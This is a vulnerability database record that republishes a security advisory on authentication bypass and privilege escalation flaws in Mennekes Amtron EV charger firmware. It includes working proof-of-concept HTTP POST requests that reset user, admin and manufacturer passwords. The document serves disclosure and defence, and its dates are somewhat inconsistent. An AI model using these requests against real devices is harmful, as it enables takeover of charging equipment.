GCVE-1988-2026-0326
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
CyberDanube Security Research 20260528-0 | Multiple Vulnerabilities in Multiple Vulnerabilities in Mennekes Amtron Series
Summary
CyberDanube Security Research 20260528-0
-------------------------------------------------------------------------------
title| Multiple Vulnerabilities
product| Mennekes Amtron Series and Smart-T PnC
vulnerable version| 5.22.3
fixed version| 5.33.11-21500
CVE number| CVE-2026-8979, CVE-2026-8980
impact| High
homepage| https://www.mennekes.at/
found| 2025-11-27
by| S. Eisenreich-Dietz, T. Weber
| CyberDanube Security Research
| Austria - Vienna
| https://www.cyberdanube.com
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
For more than 80 years, MENNEKES has stood for quality electrical products and
service throughout the world. When it comes to solutions that handle current
intelligently and safely, we set the standard for innovation, quality,
manufacturing and development.
Source: https://www.mennekes.com/about/about-us
Vulnerable Products
-------------------------------------------------------------------------------
Amtron Professional
Amtron Professional (Eichrecht)
Amedio Professional
Amtron Charge Control
Amtron Professional Twincharge
Smart-T PnC
Vulnerability Overview
-------------------------------------------------------------------------------
1) Authentication Bypass (CVE-2026-8979)
An unauthentication attacker can use a crafted POST request to change the
password of the user account.
2) Privilege Escalation (CVE-2026-8980)
An authenticated attacker can use a crafted POST request to change the password
of the manufacturer and admin account as low privileged user.
Proof of Concept
-------------------------------------------------------------------------------
1) Authentication Bypass (CVE-2026-8979)
The following POST request can be used to change the password of the user
account to "asdf"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POST /operator/operator HTTP/1.1
Host: 10.201.74.66
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/133.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
UserPwdPlain_custom=asdf
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2) Privilege Escalation (CVE-2026-8980)
The following POST requests can be used to change the admin (operator) and
manufacturer account password to "asdf".
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POST /json/settings.json HTTP/1.1
Host: 10.201.74.66
Content-Length: 60
Authorization: e81179e1-5e50-45d4-8ee6-27161dcf69d8
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://10.201.74.66
Referer: http://10.201.74.66/groups/system
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"params":[{"key":"OperatorPwdPlain_custom","value":"asd"}]}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POST /json/settings.json HTTP/1.1
Host: 10.201.74.66
Content-Length: 59
Authorization: 526ee807-4295-46f3-a9e4-0f4bcac97af9
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://10.201.74.66
Referer: http://10.201.74.66/groups/system
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"params":[{"key":"ManufacturerPwd_custom","value":"asd"}]}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution
-------------------------------------------------------------------------------
Update to the newest Firmware.
Workaround
-------------------------------------------------------------------------------
Restrict access to the device.
Contact Timeline
-------------------------------------------------------------------------------
2025-02-24: Get in contact with psirt () mennekes de
2025-02-25: Vulnerabilities get acknowledged and are forwarded to BENDER
as they are the manufacturer for the devices.
2025-03-18: Ask for update regarding fixes, CVE numbers, fixed version and
effected products. Response states that they will not create
CVEs.
2025-05-28: Release of advisory.
Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com
EOF S. Eisenreich-Dietz / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | CyberDanube Security Research |
Affected:
unknown
|
guessed |
Relationships
analysis
GCVE-1988-2026-0326 (this record)
- related CVE-2026-8979
- related CVE-2026-8980
{
"containers": {
"cna": {
"affected": [
{
"product": "CyberDanube Security Research",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Thomas Weber | CyberDanube via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "CyberDanube Security Research 20260528-0\n-------------------------------------------------------------------------------\n title| Multiple Vulnerabilities\n product| Mennekes Amtron Series and Smart-T PnC\n vulnerable version| 5.22.3\n fixed version| 5.33.11-21500\n CVE number| CVE-2026-8979, CVE-2026-8980\n impact| High\n homepage| https://www.mennekes.at/\n found| 2025-11-27\n by| S. Eisenreich-Dietz, T. Weber\n | CyberDanube Security Research\n | Austria - Vienna\n | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\nFor more than 80 years, MENNEKES has stood for quality electrical products and\nservice throughout the world. When it comes to solutions that handle current\nintelligently and safely, we set the standard for innovation, quality,\nmanufacturing and development.\n\nSource: https://www.mennekes.com/about/about-us\n\n\nVulnerable Products\n-------------------------------------------------------------------------------\nAmtron Professional\nAmtron Professional (Eichrecht)\nAmedio Professional\nAmtron Charge Control\nAmtron Professional Twincharge\nSmart-T PnC\n\nVulnerability Overview\n-------------------------------------------------------------------------------\n1) Authentication Bypass (CVE-2026-8979)\nAn unauthentication attacker can use a crafted POST request to change the\npassword of the user account.\n\n2) Privilege Escalation (CVE-2026-8980)\nAn authenticated attacker can use a crafted POST request to change the password\nof the manufacturer and admin account as low privileged user.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authentication Bypass (CVE-2026-8979)\nThe following POST request can be used to change the password of the user\naccount to \"asdf\"\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /operator/operator HTTP/1.1\nHost: 10.201.74.66\nAccept-Language: en-US,en;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag\ne/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 24\nUserPwdPlain_custom=asdf\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n2) Privilege Escalation (CVE-2026-8980)\nThe following POST requests can be used to change the admin (operator) and\nmanufacturer account password to \"asdf\".\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /json/settings.json HTTP/1.1\nHost: 10.201.74.66\nContent-Length: 60\nAuthorization: e81179e1-5e50-45d4-8ee6-27161dcf69d8\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nOrigin: http://10.201.74.66\nReferer: http://10.201.74.66/groups/system\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n{\"params\":[{\"key\":\"OperatorPwdPlain_custom\",\"value\":\"asd\"}]}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /json/settings.json HTTP/1.1\nHost: 10.201.74.66\nContent-Length: 59\nAuthorization: 526ee807-4295-46f3-a9e4-0f4bcac97af9\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nOrigin: http://10.201.74.66\nReferer: http://10.201.74.66/groups/system\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n{\"params\":[{\"key\":\"ManufacturerPwd_custom\",\"value\":\"asd\"}]}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\nSolution\n-------------------------------------------------------------------------------\nUpdate to the newest Firmware.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict access to the device.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-02-24:\u2002Get in contact with psirt () mennekes de\n2025-02-25:\u2002Vulnerabilities get acknowledged and are forwarded to BENDER\n as they are the manufacturer for the devices.\n2025-03-18:\u2002Ask for update regarding fixes, CVE numbers, fixed version and\n effected products. Response states that they will not create\n CVEs.\n2025-05-28: Release of advisory.\u2002\u2002\u2002\u2002\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Eisenreich-Dietz / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T07:55:54Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/May/25"
},
{
"url": "http://10.201.74.66"
},
{
"url": "http://10.201.74.66/groups/system"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://twitter.com/cyberdanube"
},
{
"url": "https://www.cyberdanube.com"
},
{
"url": "https://www.mennekes.at/"
},
{
"url": "https://www.mennekes.com/about/about-us"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/May/25"
],
"discovery": "EXTERNAL"
},
"title": "CyberDanube Security Research 20260528-0 | Multiple Vulnerabilities in Multiple Vulnerabilities in Mennekes Amtron Series",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-8979",
"type": "related"
},
{
"destId": "CVE-2026-8980",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0326",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/25",
"automated": true,
"contentSha256": "a8daaddb97117301cce132a44cca1c8846b894411b06106ef058a1c0912dd4a2",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/May/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-05-29T14:33:21Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0326"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:54Z",
"dateUpdated": "2026-09-11T07:55:54Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0326"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…